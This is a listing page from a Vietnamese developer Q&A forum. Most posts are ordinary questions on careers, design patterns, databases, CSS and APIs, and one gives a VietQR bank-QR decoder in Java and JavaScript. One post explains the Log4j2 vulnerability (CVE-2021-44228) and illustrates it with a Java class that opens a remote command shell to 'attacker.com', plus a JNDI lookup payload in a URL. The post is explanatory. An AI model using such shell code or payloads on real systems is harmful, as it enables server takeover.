Avatar
0
wuwymm20wobp2ke4 Beginner
Kỹ thuật lập trình
A ơi. E có đọc bài của a nói về: "Ngày nay thì microservice, k8s nó là một cái mốt mà 99% anh em theo đuổi, ngay cả anh em FE cũng chạy theo nó, nhưng có những phần việc là của DevOps là một lập trình viên trước hết anh em cần master kỹ thuật lập trình cái đã, đó mới là cái gốc!".<p> Vậy a cho e hỏi làm thế nào để đạt master kỹ thuật lập trình ạ?? </p>
Answer
Avatar
1
Phạm Huy Thiên Beginner
Dịch ngược data QRcode VN về thông tin ngân hàng
Dạo gần đây em có thấy anh Dũng chia sẻ về thư viện generate data tạo QR code, nhưng không thấy có thư viện nào dịch ngược lại từ data QR code ra thông tin của ngân hàng.<p> Ai có thuật toán giải mã thì cho em xin với ạ, code js thì càng tốt ạ. </p> <p> Em cảm ơn! </p> <h1><strong>Giải quyết</strong></h1> Cảm ơn anh @tdv12, đoạn code sau hỗ trợ dịch ngược QRcode sang thông tin ngân hàng, có hỗ trợ không có thông tin số tiền và nội dung chuyển tiền:<p> Ngôn ngữ <code class="markdown-inline">JAVA</code> </p> <div class="markdown-block position-relative overflow-auto source-java"> <pre> <span class="pl-k">package</span> com.thiendz.test; <span class="pl-k">import</span> java.util.HashMap; <span class="pl-k">import</span> java.util.Map; <span class="pl-k">public</span> <span class="pl-k">class</span> VietQRDecoder { private <span class="pl-k">static</span> <span class="pl-k">final</span> String PREFIX = <span class="pl-s">"000201010212"</span>; private <span class="pl-k">static</span> <span class="pl-k">final</span> String SUFFIX = <span class="pl-s">"6304"</span>; private <span class="pl-k">static</span> <span class="pl-k">final</span> String PART_11_PREFIX = <span class="pl-s">"0010A00000072701"</span>; private <span class="pl-k">static</span> <span class="pl-k">final</span> String PART_2_PREFIX = <span class="pl-s">"5303704"</span>; private <span class="pl-k">static</span> <span class="pl-k">final</span> String AMOUNT_HEADER = <span class="pl-s">"54"</span>; private <span class="pl-k">static</span> <span class="pl-k">final</span> String PART_21_PREFIX = <span class="pl-s">"5802VN62"</span>; private <span class="pl-k">static</span> <span class="pl-k">final</span> <span class="pl-k">int</span> CHECK_SUM_LENGTH = 4; <span class="pl-k">public</span> <span class="pl-k">static</span> <span class="pl-k">void</span> main(String[] args) { Map&lt;String, String&gt; information = <span class="pl-k">new</span> HashMap&lt;&gt;(); // String input = <span class="pl-s">"00020101021238540010A00000072701240006970436011010137721710208QRIBFTTA530370454061000005802VN62090805Hello63049F12"</span>; // String input = <span class="pl-s">"00020101021238560010A0000007270126000697100501121133666688880208QRIBFTTA53037045802VN6304AAAB"</span>; // String input = <span class="pl-s">"00020101021238580010A000000727012800069704070114190375154450150208QRIBFTTA53037045802VN62120808BTEST001630478FB"</span>; // String input = <span class="pl-s">"00020101021238580010A000000727012800069704070114190375154450150208QRIBFTTA53037045802VN62120808BTEST00263049629"</span>; String input = <span class="pl-s">"00020101021238580010A000000727012800069704150114190375154450150208QRIBFTTA5303704540410005802VN6304DDD5"</span>; String parts = input.substring( PREFIX.length(), input.length() - SUFFIX.length() - CHECK_SUM_LENGTH ); parts = parts.substring(2); <span class="pl-k">int</span> part1Length = Integer.parseInt(parts.substring(0, 2)); parts = parts.substring(2); String part1 = parts.substring(0, part1Length); part1 = part1.substring(PART_11_PREFIX.length()); <span class="pl-k">int</span> part12Length = Integer.parseInt(part1.substring(0, 2)); part1 = part1.substring(2); String part12 = part1.substring(0, part12Length); part12 = part12.substring(2); <span class="pl-k">int</span> bankIdLength = Integer.parseInt(part12.substring(0, 2)); part12 = part12.substring(2); String bankId = part12.substring(0, bankIdLength); information.put(<span class="pl-s">"bankId"</span>, bankId); part12 = part12.substring(bankIdLength); part12 = part12.substring(2); <span class="pl-k">int</span> bankAccountLength = Integer.parseInt(part12.substring(0, 2)); part12 = part12.substring(2); String bankAccount = part12.substring(0, bankAccountLength); information.put(<span class="pl-s">"bankAccount"</span>, bankAccount); parts = parts.substring(part1Length); String part2 = parts.substring(PART_2_PREFIX.length()); information.put(<span class="pl-s">"amount"</span>, <span class="pl-s">"0"</span>); <span class="pl-k">if</span> (part2.startsWith(AMOUNT_HEADER)) { part2 = part2.substring(2); <span class="pl-k">int</span> amountLength = Integer.parseInt(part2.substring(0, 2)); part2 = part2.substring(2); String amount = part2.substring(0, amountLength); information.put(<span class="pl-s">"amount"</span>, amount); part2 = part2.substring(amountLength); } information.put(<span class="pl-s">"message"</span>, <span class="pl-s">""</span>); <span class="pl-k">if</span> (part2.length() - PART_21_PREFIX.length() &gt; PART_21_PREFIX.length()) { part2 = part2.substring(PART_21_PREFIX.length()); <span class="pl-k">int</span> part21Length = Integer.parseInt(part2.substring(0, 2)); part2 = part2.substring(2); String part21 = part2.substring(0, part21Length); part21 = part21.substring(2); <span class="pl-k">int</span> messageLength = Integer.parseInt(part21.substring(0, 2)); part21 = part21.substring(2); String message = part21.substring(0, messageLength); information.put(<span class="pl-s">"message"</span>, message); } System.out.println(information); } } </pre> </div><p> Ngôn ngữ <code class="markdown-inline">Js</code> </p> <div class="markdown-block position-relative overflow-auto source-javascript"> <pre> class Qr { <span class="pl-k">static</span> PREFIX = <span class="pl-s">'000201010212'</span>; <span class="pl-k">static</span> SUFFIX = <span class="pl-s">'6304'</span>; <span class="pl-k">static</span> PART_11_PREFIX = <span class="pl-s">'0010A00000072701'</span>; <span class="pl-k">static</span> PART_2_PREFIX = <span class="pl-s">'5303704'</span>; <span class="pl-k">static</span> AMOUNT_HEADER = <span class="pl-s">'54'</span>; <span class="pl-k">static</span> PART_21_PREFIX = <span class="pl-s">'5802VN62'</span>; <span class="pl-k">static</span> CHECK_SUM_LENGTH = 4; <span class="pl-k">static</span> decoder(input) { let parts = input.substring( Qr.PREFIX.length, input.length - Qr.SUFFIX.length - Qr.CHECK_SUM_LENGTH ); parts = parts.substring(2); let part1Length = parseInt(parts.substring(0, 2)); parts = parts.substring(2); let part1 = parts.substring(0, part1Length); part1 = part1.substring(Qr.PART_11_PREFIX.length); let part12Length = parseInt(part1.substring(0, 2)); part1 = part1.substring(2); let part12 = part1.substring(0, part12Length); part12 = part12.substring(2); let bankIdLength = parseInt(part12.substring(0, 2)); part12 = part12.substring(2); let bankId = part12.substring(0, bankIdLength); part12 = part12.substring(bankIdLength); part12 = part12.substring(2); let bankAccountLength = parseInt(part12.substring(0, 2)); part12 = part12.substring(2); let bankAccount = part12.substring(0, bankAccountLength); let amount = 0; parts = parts.substring(part1Length); let part2 = parts.substring(Qr.PART_2_PREFIX.length); console.log(part2) <span class="pl-k">if</span> (part2.startsWith(Qr.AMOUNT_HEADER)) { part2 = part2.substring(2); let amountLength = parseInt(part2.substring(0, 2)); part2 = part2.substring(2); amount = part2.substring(0, amountLength); part2 = part2.substring(amountLength); } let message = <span class="pl-s">''</span>; <span class="pl-k">if</span> (part2.length - Qr.PART_21_PREFIX.length &gt; Qr.PART_21_PREFIX.length) { part2 = part2.substring(Qr.PART_21_PREFIX.length); let part21Length = parseInt(part2.substring(0, 2)); part2 = part2.substring(2); let part21 = part2.substring(0, part21Length); part21 = part21.substring(2); let messageLength = parseInt(part21.substring(0, 2)); part21 = part21.substring(2); message = part21.substring(0, messageLength); } <span class="pl-k">return</span> { bankId, bankAccount, amount, message }; } } console.log(Qr.decoder(<span class="pl-s">'00020101021238580010A000000727012800069704150114190375154450150208QRIBFTTA5303704540410005802VN6304DDD5'</span>)) </pre> </div>
Answer
Avatar
1
omiqyqi78j6h5pkm Beginner
Begin Project Manager (PM)
E đang làm IOS dev và Giai đoạn sau của sự nghiệp e muốn làm PM. Và em có một só câu hỏi mong mọi người giải đáp ạ <ol start="1"> <li>Liệu bao giờ e bắt đầu apply PM là thời điểm hợp lý ?</li> <li>muốn trở thành PM thì cần phải có những kiến thức gì ? Một số nguồn uy tín và hay để học ?</li> <li>Kiến thức như nào thì mình có thể bắt đầu đi nộp CV vào vị trí này được ?</li> </ol> <p> Em cảm ơn ạ </p>
Answer
Avatar
0
Quốc Hưng Hoàng Beginner
[Design Pattern] Chain of Responsibility
Xin chào anh Dũng và mọi người,<p> Em đang đọc đến mẫu thiết kế Chain of Responsibility trong cuốn sách "Làm chủ các mẫu thiết kế kinh điểm trong lập trình", </p> <p> Đồng thời em cũng đang làm 1 pet project nhỏ để crawl data và đang làm 1 feature theo em nghĩ có thể ứng dụng mẫu thiết kế trên. Mong anh review qua ạ. </p> <p> Cụ thể, em crawl kết quả bóng đá của 1 câu lạc bộ, bao gồm tỉ số, người ghi bàn, v.v. </p> <p> Sau khi lấy kết quả, em muốn đánh dấu 1 trận đấu là 1 trận "đáng chú ý" bằng cách xác định: </p> <ul> <li>có 1 cầu thủ ghi hattrick</li> <li>cách biệt tỉ số > 3 bàn</li></ul> <p> ... </p> <p> nếu đó là "đáng chú ý" thì em sẽ thực hiện 1 hành động dựa trên nghiệp vụ của dự án. </p> <p> Tiếp theo em sẽ tiếp tục quá trình ETL data của em. </p> <p> Theo em thì với logic như trên, Chain of Responsibility khá phù hợp để implement nhưng em chưa đọc hết sách nên ko rõ có phải là sự lựa chọn tốt nhất ko. Mong anh giải đáp ạ </p> <p> Cảm ơn anh Dũng và mọi người </p>
Answer
Avatar
1
tvd12 Enlightened
tvd12 Enlightened
Cách học hiệu quả
Nên học thế nào để đạt được hiệu quả tối đa?
Answer
Avatar
1
tvd12 Enlightened
tvd12 Enlightened
Ngôn ngữ lập trình được tạo ra như thế nào?
Thực sự mình cũng rất muốn hiểu ngôn ngữ lập trình được tạo ra ntn. Bạn có thể nói sơ qua hoặc cho mình vài link để tìm hiểu được không. Tks
Answer
Avatar
0
Cường Nguyễn Hữu Beginner
Thiết kế db ứng dụng chat
Chào mọi người. Em vừa thiết kế db ứng dụng chat. Gồm các chức năng chính: <p> Đăng nhập, đăng xuất khỏi 1 hoặc nhiều thiết bị, đăng ký </p> <p> Gửi otp để reset mật khẩu, thay đổi thông tin cá nhân </p> <p> Thêm người vào nhóm, gửi yêu cầu kết bạn </p> <p> Thay đổi tên trong đoạn chat </p> <p> Nhắn tin 1-1, 1-n </p> <p> Xem ai đã xem tin nhắn </p> <p> .... </p> <p> Mong mọi người đóng góp ý kiến để em hoàn thiện bài tập lớn trên trường ạ. Thiết kế hiện tại của em là: </p> <p> </p> <img src="https://stackask.com/wp-content/uploads/2022/02/chat-db.jpeg" alt="" class="alignnone size-full wp-image-4530" />
Answer
Avatar
1
Tú Trần Anh Beginner
Tú Trần Anh Beginner
[Ezyfox Server] Quản lý logic phòng chơi trong game dạng turnbase
Em đang thử làm game tá lả bằng ezyfox server. Em muốn xử lý tất cả logic ở bên server. Các client chỉ đc nhận thông tin về bài trên tay mình và các quân bài được đánh để chống hack. Theo logic trên, "nọc" bài để bốc ở giữa trong mỗi ván chơi sẽ phải được lưu ở phía server. Chẳng hạn có nhiều ván chơi cùng một thời điểm, thì phía server sẽ lưu dữ liệu của từng ván như thế nào?
Answer
Avatar
2
monkey Enlightened
monkey Enlightened
Hiểu rõ về lỗ hổng của Apache Log4j2 (CVE-2021-44228)
Hiểu rõ về lỗ hổng của Apache Log4j2 (CVE-2021-44228) <p> </p> <p> Để hiểu rõ hơn chúng ta phải hiểu về log4j một chút. Log4j sử dụng <a href="https://tvd12.com/chain-of-responsibility-design-pattern/" target="_blank">chain of responsibility design pattern</a>, thế nên ở bên trong nó sẽ có các <code>Appender</code>. Khi một dòng log kiểu <code>logger.info("Hello: {}", param)</code> thì đoạn log này sẽ chạy qua tất cả các appender thể thực hiện các công việc tương ứng, ví dụ in ra màn hình, ghi vào file, và trong đó có 1 lớp tên là: RoutingAppender. Lớp này sẽ gọi đến hàm <code>StrSubstitutor.resolveVariable</code>. Hàm này sẽ đi lấy giá trị của biến, và đau lòng thay, nó gọi lại đến lớp <a href="https://github.com/apache/logging-log4j2/commit/44569090f1cf1e92c711fb96dfd18cd7dccc72ea" target="_blank">Interpolator</a>. </p> <p> </p> <p> Lớp Interpolator sẽ tìm kiếm qua nhiều giao thức, trong đó có giao thức JNDI để lấy ra giá trị của biến, và thế là bùm. Kẻ tấn công sẽ tạo ra 1 lớp thế này: </p> <p> </p> <pre> public class Log4jShell { static { try { Socket socket = new Socket("attacker.com", 1234); Scanner scanner = new Scanner(socket.getInputStream()); while(true) { String command = scanner.nextLine(); ProcessBuilder pb = new ProcessBuilder(command); pb.start(); } } catch (Exception e) {} } } </pre> <p> </p> <p> Và hắn thông quan tham số name truyền lên server kiểu: <code><a href="https://web_site_cua_chung_ta/hello?name=${jndi://web_site_cua_ke_tan_cong.com/Log4jShell.class}<" target="_blank">https://web_site_cua_chung_ta/hello?name=${jndi://web_site_cua_ke_tan_cong.com/Log4jShell.class}<</a></code>, và cùng với câu lệnh logger ở trên. Lớp Interpolator sẽ lấy giá trị của biến bằng cách lấy lớp Log4jShell.class về, và thế là toang, kẻ tấn công sẽ có hẳn 1 cái terminal xịn sò trên server của chúng ta và muốn làm gì thì làm. </p> <p> </p> <p> Nhược điểm của lỗ hổng lần này là nó làm cho cả thế giới tán loạn. Phải đi release lại toàn bộ các sản phẩm đang dùng <code>2.0 &lt;= log4j-core &lt;= 2.14.1</code>. </p> <p> </p> <p> Còn ưu điểm là nó cũng cho thấy được Java nó phổ biến và được sử dụng rộng rãi đến mức nào. Thế nên anh em cứ tự tin khi lựa chọn Java để làm ngôn ngữ lập trình backend cho mình và cho tổ chức của mình nhé. </p> <p> </p> <p> Tham khảo thêm nếu anh em cần nhé: <a href="https://www.lunasec.io/docs/blog/log4j-zero-day/#how-you-can-prevent-future-attacks" target="_blank">https://www.lunasec.io/docs/blog/log4j-zero-day/#how-you-can-prevent-future-attacks</a> </p>
Answer
Avatar
0
tvd12 Enlightened
tvd12 Enlightened
Cắt text bị dài trong thẻ span
Mình có đoạn html này nó đang không cắt bỏ được phần phần text quá dài vượt khổ, giờ phải bổ sung thuộc tính css gì mọi người nhỉ? <p> </p> <p> &lt;div class="col-12"&gt; </p> <p> &lt;label class="mr-1"&gt;File name:&lt;/label&gt;&lt;span id="fileName"&gt;247054726_713680412923342_7496660341076819024_n.png&lt;/span&gt; </p> <p> &lt;/div&gt; </p> <p> </p> <img class="alignnone size-full wp-image-3113" src="https://stackask.com/wp-content/uploads/2021/11/Screenshot-2021-11-14-at-22.11.46.png" alt="" />
Answer
Avatar
0
Nguyen Nam Teacher
Nguyen Nam Teacher
So sánh clustered index và non-clustered index trong SQL Server
Như tiêu đề câu hỏi ạ. <p> Mọi người cho em hỏi sự khác nhau giữa 2 loại index trên là gì ạ? </p> <p> Khi nào thì nên dùng loại nào ạ? </p> <p> Em cảm ơn. </p>
Answer
Avatar
0
Vu Luong Anh Pundit
So sánh GraphQL và REST API
Cho em hỏi điểm mạnh và điểm yếu khi so sánh GraphQL và REST API, đặc biệt khi triển khai dự án thực tế ạ.
Answer